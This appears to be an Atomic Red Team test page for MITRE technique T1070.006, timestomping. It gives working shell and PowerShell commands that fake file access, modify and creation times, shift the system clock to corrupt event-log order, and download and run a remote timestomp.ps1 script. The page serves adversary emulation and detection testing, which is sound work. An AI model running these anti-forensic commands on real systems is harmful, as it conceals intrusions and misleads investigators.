Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)
Atomic Test #4 - Modify file timestamps using reference file
Atomic Test #5 - Windows - Modify file creation timestamp with PowerShell
Atomic Test #6 - Windows - Modify file last modified timestamp with PowerShell
Atomic Test #7 - Windows - Modify file last access timestamp with PowerShell
Atomic Test #10 - Event Log Manipulations- Time slipping via Powershell
Stomps on the access timestamp of a file
Supported Platforms: Linux, macOS
auto_generated_guid: 5f9113d5-ed75-47ed-ba23-ea3573d05810
| Name | Description | Type | Default Value | |——|————-|——|—————| | target_filename | Path of file that we are going to stomp on last access time | path | /tmp/T1070.006-access.txt|
1
sh
!1
touch -a -t 197001010000.00 #{target_filename}
1
rm -f #{target_filename}
1
sh
!1
test -e #{target_filename} && exit 0 || exit 1
1
echo 'T1070.006 file access timestomp test' > #{target_filename}
Stomps on the modification timestamp of a file
Supported Platforms: Linux, macOS
auto_generated_guid: 20ef1523-8758-4898-b5a2-d026cc3d2c52
| Name | Description | Type | Default Value | |——|————-|——|—————| | target_filename | Path of file that we are going to stomp on last access time | path | /tmp/T1070.006-modification.txt|
1
sh
!1
touch -m -t 197001010000.00 #{target_filename}
1
rm -f #{target_filename}
1
sh
!1
test -e #{target_filename} && exit 0 || exit 1
1
echo 'T1070.006 file modification timestomp test' > #{target_filename}
Stomps on the create timestamp of a file
Setting the creation timestamp requires changing the system clock and reverting. Sudo or root privileges are required to change date. Use with caution.
Supported Platforms: Linux, macOS
auto_generated_guid: 8164a4a6-f99c-4661-ac4f-80f5e4e78d2b
| Name | Description | Type | Default Value | |——|————-|——|—————| | target_filename | Path of file that we are going to stomp on last access time | path | /tmp/T1070.006-creation.txt|
1
sh
! Elevation Required (e.g. root or admin)1
2
3
4
5
NOW=$(date +%m%d%H%M%Y)
date 010100001971
touch #{target_filename}
date "$NOW"
stat #{target_filename}
1
rm -f #{target_filename}
Modifies the
and 1
modify
timestamps using the timestamps of a specified reference file.1
access
This technique was used by the threat actor Rocke during the compromise of Linux web servers.
Supported Platforms: Linux, macOS
auto_generated_guid: 631ea661-d661-44b0-abdb-7a7f3fc08e50
| Name | Description | Type | Default Value | |——|————-|——|—————| | target_file_path | Path of file to modify timestamps of | path | /tmp/T1070.006-reference.txt| | reference_file_path | Path of reference file to read timestamps from | path | /bin/sh|
1
sh
!1
2
touch #{target_file_path}
touch -acmr #{reference_file_path} #{target_file_path}
1
rm -f #{target_file_path}
Modifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970.
Supported Platforms: Windows
auto_generated_guid: b3b2c408-2ff0-4a33-b89b-1cb46a9e6a9c
| Name | Description | Type | Default Value | |——|————-|——|—————| | target_date_time | Date/time to replace original timestamps with | string | 01/01/1970 00:00:00| | file_path | Path of file to change creation timestamp | path | PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt|
1
powershell
!1
Get-ChildItem "#{file_path}" | % { $_.CreationTime = "#{target_date_time}" }
1
powershell
!1
if (Test-Path "#{file_path}") {exit 0} else {exit 1}
1
2
New-Item -Path "#{file_path}" -Force | Out-Null
Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null
Modifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970.
Supported Platforms: Windows
auto_generated_guid: f8f6634d-93e1-4238-8510-f8a90a20dcf2
| Name | Description | Type | Default Value | |——|————-|——|—————| | target_date_time | Date/time to replace original timestamps with | string | 01/01/1970 00:00:00| | file_path | Path of file to change modified timestamp | path | PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt|
1
powershell
!1
Get-ChildItem "#{file_path}" | % { $_.LastWriteTime = "#{target_date_time}" }
1
powershell
!1
if (Test-Path "#{file_path}") {exit 0} else {exit 1}
1
2
New-Item -Path "#{file_path}" -Force | Out-Null
Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null
Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.
Supported Platforms: Windows
auto_generated_guid: da627f63-b9bd-4431-b6f8-c5b44d061a62
| Name | Description | Type | Default Value | |——|————-|——|—————| | target_date_time | Date/time to replace original timestamps with | string | 01/01/1970 00:00:00| | file_path | Path of file to change last access timestamp | path | PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt|
1
powershell
!1
Get-ChildItem "#{file_path}" | % { $_.LastAccessTime = "#{target_date_time}" }
1
powershell
!1
if (Test-Path "#{file_path}") {exit 0} else {exit 1}
1
2
New-Item -Path "#{file_path}" -Force | Out-Null
Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null
Timestomp kxwn.lock.
Successful execution will include the placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify the time of the .lock file.
Supported Platforms: Windows
auto_generated_guid: d7512c33-3a75-4806-9893-69abc3ccdd43
| Name | Description | Type | Default Value | |——|————-|——|—————| | file_path | File path for timestomp payload | string | PathToAtomicsFolder\..\ExternalPayloads|
1
powershell
!1
2
import-module "#{file_path}\timestomp.ps1"
timestomp -dest "#{file_path}\kxwn.lock"
1
powershell
!1
if (Test-Path "#{file_path}\timestomp.ps1") {exit 0} else {exit 1}
1
Invoke-WebRequest "https://raw.githubusercontent.com/mitre-attack/attack-arsenal/bc0ba1d88d026396939b6816de608cb279bfd489/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/timestomp.ps1" -OutFile "#{file_path}\timestomp.ps1"
1
if (Test-Path -path "#{file_path}\kxwn.lock") {exit 0} else {exit 1}
1
New-Item -Path "#{file_path}\kxwn.lock" -ItemType File
Stomps on the modification timestamp of a file using MacOS’s SetFile utility
Supported Platforms: macOS
auto_generated_guid: 87fffff4-d371-4057-a539-e3b24c37e564
| Name | Description | Type | Default Value | |——|————-|——|—————| | target_filename | Path of file that we are going to stomp on last modified time | path | /tmp/T1070.006-modified.txt| | target_date | Date to replace original timestamps with | string | 01/01/1970|
1
sh
!1
SetFile -m #{target_date} #{target_filename}
1
rm -f #{target_filename}
1
sh
!1
test -e #{target_filename} && exit 0 || exit 1
1
echo 'T1070.006 MacOS file modified timestomp test' > #{target_filename}
Changes the system time on the computer to a time that you specify. It involves altering the system’s clock or adjusting the dates of files, affecting timestamp integrity within Event Logs. This technique can disrupt the sequence of logged events, complicating incident analysis and forensics. Reference - https://detect.fyi/event-log-manipulations-1-time-slipping-55bf95631c40 https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/set-date?view=powershell-7.4
Supported Platforms: Windows
auto_generated_guid: 7bcf83bf-f5ef-425c-9d9a-71618ad9ed12
| Name | Description | Type | Default Value | |——|————-|——|—————| | days_to_modify | Value to which system time will update | string | 3|
1
powershell
! Elevation Required (e.g. root or admin)1
2
3
4
5
try{
Set-Date -Date (Get-Date).AddDays(#{days_to_modify})
Add-Content "$env:APPDATA\slipDays.bak" #{days_to_modify}
}
catch {exit 1}
1
2
3
4
5
6
if(Test-Path "$env:APPDATA\slipDays.bak" ){
foreach($line in (get-content $env:APPDATA\slipDays.bak)){
Set-Date -Date (Get-Date).AddDays(-$line)
}
rm "$env:APPDATA\slipDays.bak"
}